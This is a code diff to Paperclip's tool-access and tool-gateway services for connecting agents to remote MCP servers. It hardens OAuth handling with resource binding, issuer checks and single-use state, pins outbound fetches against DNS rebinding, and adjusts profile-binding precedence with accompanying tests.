refreshToken, + // Refreshing must stay bound to the same MCP server the original grant + // named, or the authorization server may widen the token's audience. + resource: typeof oauth.resource === "string" && oauth.resource ? oauth.resource : null, }); } catch (error) { if (error instanceof HttpError && asRecord(error.details).code === "oauth_reauthorization_required") { @@ -4839,14 +6380,42 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } const name = input.name ?? existingApplication?.name ?? galleryEntry?.name ?? defaultLinkName(input.link ?? ""); - const method = galleryEntry ? connectionMethodFor(galleryEntry) : null; + if (!galleryEntry && input.connectionMethodKey) throw badRequest("Connection method selection requires a gallery app"); + if (galleryEntry && getAvailableConnectionMethods(galleryEntry).length > 1 && !input.connectionMethodKey) { + throw badRequest("Choose a connection method for this app"); + } + const method = galleryEntry ? connectionMethodFor(galleryEntry, input.connectionMethodKey) : null; const transport = method?.transport ?? "mcp_remote"; + const normalizedMethodConfig = galleryEntry?.slug === GOOGLE_SHEETS_GALLERY_KEY || !method + ? null + : normalizeConnectionMethodConfig(method, input.configValues); const baseConfig = transport === "mcp_remote" - ? { url: method?.defaults?.serverUrl ?? input.link ?? "" } + ? { url: normalizedMethodConfig?.url ?? method?.defaults?.serverUrl ?? input.link ?? "" } : { templateId: method?.defaults?.templateKey }; let config: Record = galleryEntry - ? { ...baseConfig, sourceTemplateKey: galleryEntry.slug, quarantineNewEntries: true } - : { ...baseConfig, quarantineNewEntries: true }; + ? { + ...baseConfig, + sourceTemplateKey: galleryEntry.slug, + connectionMethodKey: method?.key, + methodConfig: normalizedMethodConfig?.values ?? {}, + // PostHog's documented safe default keeps reads available while new + // write/destructive actions wait for review. Other curated apps keep + // the all-tools default selected by the setup wizard. + quarantineNewEntries: galleryEntry.slug === "posthog", + ...(galleryEntry.slug === "posthog" ? { safeDefault: true } : {}), + } + : { ...baseConfig, quarantineNewEntries: false, unverifiedServer: true }; + // A pasted URL may arrive with a client the operator preregistered in the + // provider's own console, because that authorization server supports neither + // CIMD nor dynamic registration. Record the client id now; the secret becomes + // a Paperclip secret ref alongside the other credentials below. + if (!galleryEntry && input.oauthClient) { + config.oauth = { + clientId: input.oauthClient.clientId.trim(), + clientRegistrationSource: "manual" satisfies OAuthClientRegistrationSource, + clientCompanyId: companyId, + }; + } if (galleryEntry?.slug === GOOGLE_SHEETS_GALLERY_KEY) { const availability = googleSheetsRobotEmailFromEnv(); if (!availability.available) { @@ -4864,11 +6433,25 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} config = normalizeGoogleSheetsConnectionConfig(config); await assertGoogleSheetsSpreadsheetOwnership(companyId, config); } - if (transport === "mcp_remote") await assertRemoteEndpointAllowed(config); + if (transport === "mcp_remote") await assertRemoteConnectionEndpointsAllowed(config); if (transport === "local_stdio") await stdioTemplateId(companyId, config); assertLocalStdioCanBeEnabled(transport, false); const credentialValues = input.credentialValues ?? {}; + // A curated method declares its auth kind. A pasted URL declares one only + // under Advanced authentication; on the simple path it starts from what the + // operator supplied and is upgraded to `oauth` when discovery proves the + // endpoint needs sign-in (see `remoteTools` and `startOAuth`). + const genericAuthKind: ToolConnectionAuthKind = method?.auth + ?? (input.authMode === "oauth" || input.oauthClient + ? "oauth" + : input.authMode === "bearer" || input.authMode === "custom_headers" + ? "api_key" + : input.authMode === "none" + ? "none" + : Object.keys(credentialValues).length > 0 + ? "api_key" + : "none"); const credentialSecretRefs: CreateToolConnection["credentialSecretRefs"] = []; const credentialRefs: McpConnectionCredentialRef[] = []; const createdSecretIds: string[] = []; @@ -4877,7 +6460,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} let revivedConnectionPrevious: typeof toolConnections.$inferSelect | null = null; try { - const credentialFields = galleryEntry ? credentialFieldsFor(galleryEntry) : linkCredentialFields(credentialValues); + const credentialFields = galleryEntry ? credentialFieldsFor(galleryEntry, method?.key) : linkCredentialFields(credentialValues); for (const field of credentialFields) { const value = credentialValues[field.configPath]; if (!value && field.required !== false) { @@ -4911,6 +6494,27 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } } + // A preregistered OAuth client secret is not a request header — it is only + // ever sent to the token endpoint — so it gets a secret ref with no + // credential ref, keeping it out of `projectedConnectionHeaders`. + if (!galleryEntry && input.oauthClient?.clientSecret) { + const secret = await secrets.create(companyId, { + name: `${name} OAuth client secret ${randomUUID().slice(0, 8)}`, + key: `tool_app.${randomUUID()}.oauth_client_secret`, + provider: "local_encrypted", + value: input.oauthClient.clientSecret, + description: `OAuth client secret for ${name}.`, + }, actorForSecret(actor)); + createdSecretIds.push(secret.id); + credentialSecretRefs.push({ + secretId: secret.id, + versionSelector: "latest", + configPath: "oauth.client_secret", + required: false, + label: "OAuth client secret", + }); + } + if (existingApplication) { if (existingApplication.status !== "active") { [applicationRow] = await db.update(toolApplications) @@ -4952,6 +6556,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} if (revivedConnectionPrevious) { [connectionRow] = await db.update(toolConnections).set({ name, + authKind: genericAuthKind, transport, status: "draft", enabled: false, @@ -4970,7 +6575,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} name, uid: connectionUid(applicationRow.applicationKey ?? applicationRow.name, name, connectionId), connectionKind: "managed", - authKind: galleryEntry ? connectionMethodFor(galleryEntry).auth : "none", + authKind: genericAuthKind, transport, status: "draft", enabled: false, @@ -4985,14 +6590,14 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} await syncCredentialBindings(connectionRow); await ensureRuntimeSlot(connectionRow); - if (galleryEntry && connectionMethodFor(galleryEntry).auth === "oauth") { + if (galleryEntry && method?.auth === "oauth") { return { connectionId: connectionRow.id, application: toApplication(applicationRow), connection: toConnection(connectionRow), catalog: [], actions: { readOnly: [], canMakeChanges: [] }, - suggestedDefaults: recommendedDefaultsForApp(galleryEntry), + suggestedDefaults: recommendedDefaultsForApp(galleryEntry, method.key), auth: { kind: "oauth", startUrl: null }, }; } @@ -5002,7 +6607,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} } catch (error) { if (!galleryEntry && error instanceof HttpError && asRecord(error.details).code === "oauth_challenge") { const [oauthConnection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionRow.id)); - const endpoints = await discoverOAuthEndpoints(oauthConnection).catch(() => null); + const endpoints = await discoverOAuthEndpoints(oauthConnection).catch((discoveryError: unknown) => { + // "This server advertised an address Paperclip refuses to open" is a + // refusal, not a failed discovery: keep it instead of collapsing it + // into the generic sign-in-required error. + if (isOAuthEndpointRejection(discoveryError)) throw discoveryError; + return null; + }); if (!endpoints) throw error; return { connectionId: oauthConnection.id, @@ -5014,7 +6625,18 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} access: "all_agents", askFirstRiskLevels: ["write", "destructive"], }, - auth: { kind: "oauth", startUrl: null }, + // The endpoint asked for authorization and discovery found a real + // authorization server, so the wizard can offer "Sign in to + // continue" instead of a dead end. The caller starts the flow and + // fills in `startUrl`/`registrationSource`; it only needs the issuer + // and resource here to show which server the operator is about to + // trust. + auth: { + kind: "oauth", + startUrl: null, + issuer: endpoints.issuer ?? null, + resource: endpoints.resource ?? null, + }, }; } throw error; @@ -5027,7 +6649,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} connection: refresh.connection, catalog: refresh.catalog, actions: groupedActions(refresh.catalog), - suggestedDefaults: galleryEntry ? recommendedDefaultsForApp(galleryEntry) : { + suggestedDefaults: galleryEntry ? recommendedDefaultsForApp(galleryEntry, method?.key) : { access: "all_agents", askFirstRiskLevels: ["write", "destructive"], }, @@ -5401,7 +7023,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const sourceTemplateKey = typeof connection.config.sourceTemplateKey === "string" ? connection.config.sourceTemplateKey : null; const galleryEntry = sourceTemplateKey ? getConnectableAppDefinition(sourceTemplateKey) : null; - const credentialFields = galleryEntry ? credentialFieldsFor(galleryEntry) : [ + const credentialFields = galleryEntry ? credentialFieldsFor(galleryEntry, connectionMethodForConnection(galleryEntry, connection).key) : [ { label: "App key", configPath: "credentials.authorization", @@ -5512,13 +7134,24 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} expiresAt, }); - const authorizationUrl = new URL(endpoints.authorizationUrl); + // Last gate before this URL becomes a top-level browser navigation. Every + // producer above already validates, so reaching a rejection here means a new + // path was added without one — fail closed rather than hand the board an + // unvetted target. + const authorizationUrl = new URL(assertOAuthEndpointUrl("authorization", endpoints.authorizationUrl, { + // Paperclip's own callback origin: a first-party authorization endpoint is + // served however this deployment is served, plaintext LAN host included. + firstPartyOrigin: originOf(input.redirectUri), + })); authorizationUrl.searchParams.set("response_type", "code"); authorizationUrl.searchParams.set("client_id", client.clientId); authorizationUrl.searchParams.set("redirect_uri", input.redirectUri); authorizationUrl.searchParams.set("state", state); authorizationUrl.searchParams.set("code_challenge", base64UrlSha256(codeVerifier)); authorizationUrl.searchParams.set("code_challenge_method", "S256"); + // RFC 8707: name the MCP server the resulting token is for, so an + // authorization server that serves several resources can audience-restrict it. + if (endpoints.resource) authorizationUrl.searchParams.set("resource", endpoints.resource); const authorizationScopes = input.scopes ?? endpoints.scopes; if (authorizationScopes.length > 0) authorizationUrl.searchParams.set("scope", authorizationScopes.join(" ")); @@ -5585,11 +7218,27 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} clientIdEnv: client.clientIdEnv, clientSecretEnv: client.clientSecret ? client.clientSecretEnv : null, credentialScope: credentialScope(connection, input.actor), + // Persist the issuer and resource this authorization run is bound to. + // `iss` on the callback is validated against `expectedIssuer`, and + // refresh/reconnect/revoke reuse the same pair rather than re-deriving it. + issuer: endpoints.issuer ?? oauthConfig(connection).issuer ?? null, + expectedIssuer: endpoints.issuer ?? null, + resource: endpoints.resource ?? oauthConfig(connection).resource ?? null, + clientIdMetadataDocumentSupported: endpoints.clientIdMetadataDocumentSupported === true, }, }; await db .update(toolConnections) - .set({ config: nextConfig, transportConfig: nextConfig, updatedAt: new Date() }) + .set({ + // A generic URL connection starts life as `authKind: none`. Once it has + // completed OAuth discovery and client resolution it is an OAuth + // connection, and refresh, reconnect, revoke and diagnostics must all + // treat it as one. + authKind: "oauth", + config: nextConfig, + transportConfig: nextConfig, + updatedAt: new Date(), + }) .where(eq(toolConnections.id, connection.id)); return { @@ -5597,49 +7246,140 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} provider: endpoints.provider, authorizationUrl: authorizationUrl.toString(), expiresAt: expiresAt.toISOString(), + issuer: endpoints.issuer ?? null, + resource: endpoints.resource ?? null, + registrationSource: resolvedClient.source, }; } async function peekOAuthState(state: string) { const [row] = await db - .select({ companyId: toolOauthStates.companyId }) + .select({ + companyId: toolOauthStates.companyId, + connectionId: toolOauthStates.connectionId, + }) .from(toolOauthStates) .where(eq(toolOauthStates.state, state)) .limit(1); return row ?? null; } - async function completeOAuthCallback(input: { - state: string; - code?: string | null; - error?: string | null; - errorDescription?: string | null; - redirectUri: string; - actor?: ActorInfo; - }): Promise { - if (input.error) throw badRequest(input.errorDescription ?? `OAuth provider returned ${input.error}`); - if (!input.code) throw badRequest("OAuth callback is missing a code"); + /** + * Answer a pending authorization request exactly once (PAP-17109). + * + * Every terminal callback — success, denial, cancel — comes through here, so + * the row that authorizes a token exchange stops existing the moment the flow + * reaches an outcome. Two properties matter and they pull in opposite + * directions: + * + * - A stranger's callback must not *consume* the request. So the row is loaded + * and bound to the caller before anything is deleted; a failed binding check + * leaves the victim's flow live and completable. + * - A replayed callback must not *complete* the request. So the delete is the + * single statement that decides ownership: `RETURNING` hands the row to + * exactly one of two concurrent callbacks, and the loser is told the state is + * spent instead of exchanging a code against it. + */ + async function consumeOAuthState(state: string, actor: ActorInfo | undefined) { const [stateRow] = await db .select() .from(toolOauthStates) - .where(eq(toolOauthStates.state, input.state)) + .where(eq(toolOauthStates.state, state)) .limit(1); if (!stateRow) throw badRequest("OAuth state was not found or has already been used"); if (stateRow.expiresAt.getTime() <= Date.now()) throw badRequest("OAuth state has expired"); if (stateRow.subjectUserId) { - if (input.actor?.actorType !== "user" || input.actor.actorId !== stateRow.subjectUserId) { + if (actor?.actorType !== "user" || actor.actorId !== stateRow.subjectUserId) { throw forbidden("OAuth callback user does not match the requested subject"); } } else { - assertSameOAuthActor(stateRow, input.actor); + assertSameOAuthActor(stateRow, actor); } - await db.delete(toolOauthStates).where(eq(toolOauthStates.state, input.state)); + const [consumed] = await db + .delete(toolOauthStates) + .where(eq(toolOauthStates.state, state)) + .returning(); + if (!consumed) throw badRequest("OAuth state was not found or has already been used"); + return consumed; + } + + /** + * End the board's "Connect your account" prompt when the user declines in the + * provider's window (PAP-17109). Without this the card stays `pending`, so the + * board keeps offering an authorization link for a flow the user just refused + * and the requesting agent never learns the answer. + * + * Scoped to a still-`pending` row: a board user who already answered the card + * directly keeps their own answer. + */ + async function rejectPendingOAuthInteraction( + stateRow: typeof toolOauthStates.$inferSelect, + actor: ActorInfo | undefined, + ) { + if (!stateRow.interactionId) return; + const now = new Date(); + await db + .update(issueThreadInteractions) + .set({ + status: "rejected", + result: { + version: 1, + outcome: "rejected", + // Paperclip's own words: the provider's explanation is untrusted and + // this reason is rendered in the thread (PAP-17108). + reason: "Authorization was declined or cancelled in the provider's window", + }, + resolvedByUserId: actor?.actorType === "user" ? actor.actorId : null, + resolvedAt: now, + updatedAt: now, + }) + .where(and( + eq(issueThreadInteractions.id, stateRow.interactionId), + eq(issueThreadInteractions.companyId, stateRow.companyId), + eq(issueThreadInteractions.status, "pending"), + )); + } + + async function completeOAuthCallback(input: { + state: string; + code?: string | null; + /** + * RFC 6749 `error`. Untrusted, and deliberately the *only* thing read from a + * failed callback — `error_description` and `error_uri` are not accepted as + * input at all, so there is nothing for a hostile provider to reflect + * through (PAP-17108). + */ + error?: string | null; + redirectUri: string; + /** RFC 9207 `iss`, when the authorization server returns it. */ + iss?: string | null; + actor?: ActorInfo; + }): Promise { + // Binding first, outcome second: the provider's report of a failure is only + // acted on once the callback is bound to a state Paperclip issued and to the + // actor that started the flow, so an unsolicited callback cannot drive any + // path here. Consuming the state up front is what makes a denial terminal — + // a refused request must not stay completable by a later code (PAP-17109). + const stateRow = await consumeOAuthState(input.state, input.actor); + if (input.error) { + await rejectPendingOAuthInteraction(stateRow, input.actor); + const providerError = normalizeOAuthProviderError(input.error); + throw new HttpError(400, oauthProviderErrorMessage(providerError, "The authorization server denied the request."), { + code: "oauth_authorization_denied", + providerError, + }); + } + // Neither a code nor an error is not a usable answer either. It still spends + // the request: the recovery is a fresh authorization, not a state left live + // waiting for a better callback. + if (!input.code) throw badRequest("OAuth callback is missing a code"); let connection = await getConnectionRow(stateRow.connectionId, stateRow.companyId); const sourceTemplateKey = typeof connection.config.sourceTemplateKey === "string" ? connection.config.sourceTemplateKey : null; const galleryEntry = sourceTemplateKey ? getConnectableAppDefinition(sourceTemplateKey) : null; assertOAuthRedirectConstraints(galleryEntry, input.redirectUri); const endpoints = await oauthEndpointsForConnection(connection, null, input.redirectUri); + assertOAuthCallbackIssuer(connection, endpoints, input.iss); const client = await oauthClientForConnection(connection, endpoints.provider, input.actor); if (!client.clientId) throw unprocessable(`OAuth client id is not configured for ${endpoints.provider}`); @@ -5650,6 +7390,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} redirectUri: input.redirectUri, codeVerifier: stateRow.codeVerifier, code: input.code, + resource: endpoints.resource, }); const [existingUserGrant] = stateRow.subjectUserId ? await db.select().from(connectionGrants).where(and( @@ -5736,7 +7477,9 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} connection: toConnection(connection), catalog, actions: groupedActions(catalog), - suggestedDefaults: galleryEntry ? recommendedDefaultsForApp(galleryEntry) : { access: "all_agents", askFirstRiskLevels: ["write", "destructive"] }, + suggestedDefaults: galleryEntry + ? recommendedDefaultsForApp(galleryEntry, connectionMethodForConnection(galleryEntry, connection).key) + : { access: "all_agents", askFirstRiskLevels: ["write", "destructive"] }, auth: null, }; } @@ -5752,6 +7495,11 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} clientIdEnv: client.clientIdEnv, clientSecretEnv: client.clientSecret ? client.clientSecretEnv : null, credentialScope: credentialScope(connection, input.actor), + // Keep the issuer and resource this grant was minted against so refresh, + // reconnect, revoke and diagnostics resolve the same authorization server + // instead of re-discovering one from a possibly-changed endpoint. + issuer: endpoints.issuer ?? oauthConfig(connection).issuer ?? null, + resource: endpoints.resource ?? oauthConfig(connection).resource ?? null, expiresAt, scope: token.scope, tokenType: token.tokenType, @@ -5767,6 +7515,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} .set({ status: "active", enabled: true, + authKind: "oauth", config: nextConfig, transportConfig: nextConfig, credentialSecretRefs: nextCredentialSecretRefs, @@ -5801,7 +7550,10 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} connection: refresh.connection, catalog: refresh.catalog, actions: groupedActions(refresh.catalog), - suggestedDefaults: galleryEntry ? recommendedDefaultsForApp(galleryEntry) : { + suggestedDefaults: galleryEntry ? recommendedDefaultsForApp( + galleryEntry, + connectionMethodForConnection(galleryEntry, connection).key, + ) : { access: "all_agents", askFirstRiskLevels: ["write", "destructive"], }, @@ -6205,7 +7957,11 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} ), ) .limit(1); - if (duplicate) throw conflict("A tool access record with that name already exists"); + if (duplicate) { + throw conflict("A tool access record with that name already exists", { + code: "tool_access_name_conflict", + }); + } } const [row] = await db .update(toolApplications) @@ -6312,7 +8068,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} const transport = input.transport; if (!transport) throw badRequest("Tool connection transport is required"); const config = normalizeGoogleSheetsConnectionConfig(input.config ?? input.transportConfig ?? {}); - if (transport === "mcp_remote") await assertRemoteEndpointAllowed(config); + if (transport === "mcp_remote") await assertRemoteConnectionEndpointsAllowed(config); if (transport === "local_stdio") await stdioTemplateId(companyId, config); assertLocalStdioCanBeEnabled(transport, input.enabled ?? false); await assertGoogleSheetsSpreadsheetOwnership(companyId, config); @@ -6548,7 +8304,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} updateConnection: async (connectionId: string, input: UpdateToolConnection): Promise => { const existing = await getConnectionRow(connectionId); const config = normalizeGoogleSheetsConnectionConfig(input.config ?? input.transportConfig ?? existing.config); - if (existing.transport === "mcp_remote") await assertRemoteEndpointAllowed(config); + if (existing.transport === "mcp_remote") await assertRemoteConnectionEndpointsAllowed(config); if (existing.transport === "local_stdio") await stdioTemplateId(existing.companyId, config); assertLocalStdioCanBeEnabled(existing.transport, input.enabled ?? existing.enabled); await assertGoogleSheetsSpreadsheetOwnership(existing.companyId, config, { excludeConnectionId: existing.id }); @@ -6572,38 +8328,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} return toConnection(row); }, - archiveConnection: async (connectionId: string): Promise => { - const row = await db.transaction(async (tx) => { - const [updatedConnection] = await tx - .update(toolConnections) - .set({ status: "archived", enabled: false, updatedAt: new Date() }) - .where(eq(toolConnections.id, connectionId)) - .returning(); - if (!updatedConnection) throw notFound("Tool connection not found"); - - const remainingConnections = await tx - .select({ id: toolConnections.id }) - .from(toolConnections) - .where( - and( - eq(toolConnections.applicationId, updatedConnection.applicationId), - ne(toolConnections.status, "archived"), - ), - ) - .limit(1); - - if (remainingConnections.length === 0) { - const now = new Date(); - await tx - .update(toolApplications) - .set({ status: "archived", archivedAt: now, updatedAt: now }) - .where(eq(toolApplications.id, updatedConnection.applicationId)); - } - - return updatedConnection; - }); - return toConnection(row); - }, + archiveConnection: removeConnection, checkHealth: checkConnectionHealth, @@ -7177,11 +8902,11 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} .from(toolProfileBindings) .where(eq(toolProfileBindings.companyId, companyId)) .orderBy(asc(toolProfileBindings.priority), asc(toolProfileBindings.createdAt)); - const bindings = narrowestScopeBindings(allBindings.filter((binding) => + const matchingBindings = allBindings.filter((binding) => (binding.targetType === "company" && binding.targetId === companyId) || (binding.targetType === "agent" && binding.targetId === agentId) - )); - if (bindings.length === 0) { + ); + if (matchingBindings.length === 0) { return { agentId, profiles: [], @@ -7192,12 +8917,14 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} installedConnections: await resolveInstalledConnectionsForAgent(companyId, agentId), }; } - const profileIds = profileIdsInBindingOrder(bindings); - const profiles = await db + const candidateProfileIds = profileIdsInBindingOrder(matchingBindings); + const candidateProfiles = await db .select() .from(toolProfiles) - .where(and(eq(toolProfiles.companyId, companyId), inArray(toolProfiles.id, profileIds))); - const profilesById = new Map(profiles.map((profile) => [profile.id, profile])); + .where(and(eq(toolProfiles.companyId, companyId), inArray(toolProfiles.id, candidateProfileIds))); + const bindings = effectiveToolProfileBindings(matchingBindings, candidateProfiles); + const profileIds = profileIdsInBindingOrder(bindings); + const profilesById = new Map(candidateProfiles.map((profile) => [profile.id, profile])); const activeProfiles = profileIds .map((profileId) => profilesById.get(profileId) ?? null) .filter((profile): profile is typeof toolProfiles.$inferSelect => Boolean(profile && profile.status === "active")); @@ -7781,7 +9508,9 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {} constraint?.includes("tool_applications") || /duplicate key value|unique constraint|tool_applications_company_id_name_unique/i.test(message) ) { - throw conflict("A tool access record with that name already exists"); + throw conflict("A tool access record with that name already exists", { + code: "tool_access_name_conflict", + }); } throw error; }, diff --git a/server/src/services/tool-gateway.ts b/server/src/services/tool-gateway.ts index 5c86958d3a..7a22e8c07f 100644 --- a/server/src/services/tool-gateway.ts +++ b/server/src/services/tool-gateway.ts @@ -54,7 +54,9 @@ import type { AgentToolDescriptor, PluginToolDispatcher } from "./plugin-tool-di import { logActivity, type LogActivityInput } from "./activity-log.js"; import { secretService } from "./secrets.js"; import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js"; -import { assertPublicRemoteHttpEndpoint, parseRemoteHttpEndpoint } from "./remote-http-endpoint-guard.js"; +import { projectedConnectionHeaders } from "./tool-access.js"; +import { parseRemoteHttpEndpoint } from "./remote-http-endpoint-guard.js"; +import { guardedRemoteHttpFetch, type GuardedRemoteHttpFetchOptions } from "./remote-http-fetch.js"; import { toolAccessPolicyService } from "./tool-access-policy.js"; import { issueThreadInteractionService } from "./issue-thread-interactions.js"; import { @@ -2139,14 +2141,19 @@ export function createToolGatewayService( return options.deploymentMode !== "authenticated" || options.deploymentExposure !== "public"; } - async function assertRemoteEndpointAllowed(config: Record): Promise { - const endpoint = new URL(remoteEndpoint(config)); - await assertPublicRemoteHttpEndpoint( - endpoint, - { allowPrivateNetwork: allowPrivateRemoteEndpoints() }, - (message, code) => new ToolGatewayHttpError(422, message, code), - ); - return endpoint.toString(); + /** + * Guard options for every outbound call to an operator-supplied MCP endpoint. + * + * The private-network check no longer runs as a standalone pre-flight: it is + * part of `guardedRemoteHttpFetch`, which keeps the approved address and dials + * it directly. Splitting validation from dispatch is what created the + * DNS-rebinding TOCTOU in PAP-17098. + */ + function remoteHttpFetchOptions(): GuardedRemoteHttpFetchOptions { + return { + allowPrivateNetwork: allowPrivateRemoteEndpoints(), + error: (message, code) => new ToolGatewayHttpError(422, message, code), + }; } function headerName(value: unknown): string | null { @@ -3049,8 +3056,14 @@ export function createToolGatewayService( callerHeaders?: ExecuteGatewayToolInput["callerHeaders"], ): Promise { const { entry, connection } = await resolveConnectedRemoteTool(session, tool); - const endpoint = await assertRemoteEndpointAllowed(connection.config ?? {}); - const credentialHeaders = await resolveCredentialHeaders(connection); + const endpoint = remoteEndpoint(connection.config ?? {}); + // Method-defined headers are trusted catalog configuration. Treat them as + // managed headers so callers cannot override the scope that was reviewed + // during tools/list. Credentials remain authoritative on collisions. + const credentialHeaders = { + ...projectedConnectionHeaders(connection), + ...await resolveCredentialHeaders(connection), + }; const { headers, summary: headerSummary } = buildRemoteHeaders({ session, connection, @@ -3074,7 +3087,11 @@ export function createToolGatewayService( const timer = setTimeout(() => controller.abort(), ms); timer.unref?.(); try { - const response = await fetch(endpoint, { + // The guard runs inside this call and the connection is pinned to the + // address it approved, so an operator-supplied hostname cannot be rebound + // onto a loopback or metadata address between validation and dispatch + // (PAP-17098). + const response = await guardedRemoteHttpFetch(endpoint, { method: "POST", redirect: "manual", // MCP Streamable HTTP requires the Accept header advertising both a JSON @@ -3090,6 +3107,12 @@ export function createToolGatewayService( arguments: parameters ?? {}, }, }), + }, { + ...remoteHttpFetchOptions(), + // This call site owns a caller-set budget that can exceed the + // transport's default response deadline, so hand it down rather than + // letting the tighter default cut a legitimately slow tool short. + responseTimeoutMs: ms, }); const body = await readBoundedRemoteResponse(response); execution.response = { diff --git a/server/src/services/tool-profile-binding-precedence.test.ts b/server/src/services/tool-profile-binding-precedence.test.ts new file mode 100644 index 0000000000..971fc465a4 --- /dev/null +++ b/server/src/services/tool-profile-binding-precedence.test.ts @@ -0,0 +1,93 @@ +import { describe, expect, it } from "vitest"; +import { + effectiveToolProfileBindings, + narrowestScopeBindings, +} from "./tool-profile-binding-precedence.js"; + +const createdAt = new Date("2026-08-11T00:00:00.000Z"); + +describe("tool profile binding precedence", () => { + it("keeps ordinary profiles at the narrowest matching scope", () => { + const companyBinding = { + profileId: "company-profile", + targetType: "company" as const, + targetId: "company-1", + priority: 100, + createdAt, + }; + const agentBinding = { + profileId: "agent-profile", + targetType: "agent" as const, + targetId: "agent-1", + priority: 100, + createdAt, + }; + + expect(narrowestScopeBindings([companyBinding, agentBinding])).toEqual([agentBinding]); + expect(effectiveToolProfileBindings( + [companyBinding, agentBinding], + [ + { id: "company-profile", profileKey: "company-default", metadata: {} }, + { id: "agent-profile", profileKey: "agent-default", metadata: {} }, + ], + "connection-1", + )).toEqual([agentBinding]); + }); + + it("carries the wizard-managed app assignment alongside a narrower profile", () => { + const appBinding = { + profileId: "app-profile", + targetType: "company" as const, + targetId: "company-1", + priority: 100, + createdAt, + }; + const agentBinding = { + profileId: "agent-profile", + targetType: "agent" as const, + targetId: "agent-1", + priority: 100, + createdAt, + }; + + expect(effectiveToolProfileBindings( + [appBinding, agentBinding], + [ + { + id: "app-profile", + profileKey: "app:connection-1", + metadata: { source: "app_gallery_finish", connectionId: "connection-1" }, + }, + { id: "agent-profile", profileKey: "agent-default", metadata: {} }, + ], + "connection-1", + )).toEqual([agentBinding, appBinding]); + }); + + it("does not overlay a wizard profile onto another connection", () => { + const appBinding = { + profileId: "app-profile", + targetType: "company" as const, + targetId: "company-1", + priority: 100, + createdAt, + }; + const agentBinding = { + profileId: "agent-profile", + targetType: "agent" as const, + targetId: "agent-1", + priority: 100, + createdAt, + }; + + expect(effectiveToolProfileBindings( + [appBinding, agentBinding], + [{ + id: "app-profile", + profileKey: "app:connection-1", + metadata: { source: "app_gallery_finish", connectionId: "connection-1" }, + }], + "connection-2", + )).toEqual([agentBinding]); + }); +}); diff --git a/server/src/services/tool-profile-binding-precedence.ts b/server/src/services/tool-profile-binding-precedence.ts index 0236841fed..c67e1192b6 100644 --- a/server/src/services/tool-profile-binding-precedence.ts +++ b/server/src/services/tool-profile-binding-precedence.ts @@ -3,10 +3,17 @@ import type { ToolProfileBindingTargetType } from "@paperclipai/shared"; type BindingLike = { profileId: string; targetType: ToolProfileBindingTargetType; + targetId: string; priority: number; createdAt: Date | string; }; +type ProfileLike = { + id: string; + profileKey: string; + metadata: unknown; +}; + const TOOL_PROFILE_SCOPE_PRECEDENCE: Record = { // Named gateways bind one concrete MCP endpoint instance, so they should // override broader run, agent, and company defaults when both match. @@ -48,3 +55,39 @@ export function profileIdsInBindingOrder; + if (metadata.source !== "app_gallery_finish" || typeof metadata.connectionId !== "string") return false; + if (profile.profileKey !== `app:${metadata.connectionId}`) return false; + return connectionId === undefined || connectionId === null || metadata.connectionId === connectionId; +} + +/** + * App-wizard assignments are additive capabilities: choosing an app for all + * agents (or for one agent) must not disappear merely because that agent also + * has a narrower general-purpose profile. Ordinary profiles still use the + * narrowest-scope rule; only the profile managed by the app wizard is carried + * alongside that winning tier. + */ +export function effectiveToolProfileBindings( + bindings: T[], + profiles: ProfileLike[], + connectionId?: string | null, +): T[] { + const appProfileIds = new Set( + profiles.filter((profile) => isWizardAppProfile(profile, connectionId)).map((profile) => profile.id), + ); + const selected = [ + ...narrowestScopeBindings(bindings), + ...bindings.filter((binding) => appProfileIds.has(binding.profileId)), + ]; + const seen = new Set(); + return selected.filter((binding) => { + const key = `${binding.targetType}:${binding.targetId}:${binding.profileId}`; + if (seen.has(key)) return false; + seen.add(key); + return true; + }); +} diff --git a/tests/e2e/app-not-connected.spec.ts b/tests/e2e/app-not-connected.spec.ts index c338b237d6..0db1b01905 100644 --- a/tests/e2e/app-not-connected.spec.ts +++ b/tests/e2e/app-not-connected.spec.ts @@ -118,12 +118,16 @@ test.describe.serial("not-connected app page", () => { await page.goto(`/${seed.prefix}/apps/app/${applicationId}`); await page.getByRole("button", { name: "Reconnect", exact: true }).click(); await expect(page).toHaveURL(/\/apps\/connect\?/, { timeout: 20_000 }); - await expect(page.getByText("Connect with a link")).toBeVisible({ timeout: 20_000 }); + await expect(page.getByText("Connect your own MCP server")).toBeVisible({ timeout: 20_000 }); await expect(page.getByText(mock.url)).toBeVisible(); await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-02-reconnect-prefilled.png`, fullPage: true }); await page.getByRole("button", { name: "Check link" }).click(); - await expect(page.getByText(/Connected to .* it offers/)).toBeVisible({ timeout: 30_000 }); + await expect(page.getByRole("heading", { name: "Who can use Bla?" })).toBeVisible({ timeout: 30_000 }); + await page.getByRole("button", { name: "Continue to install" }).click(); 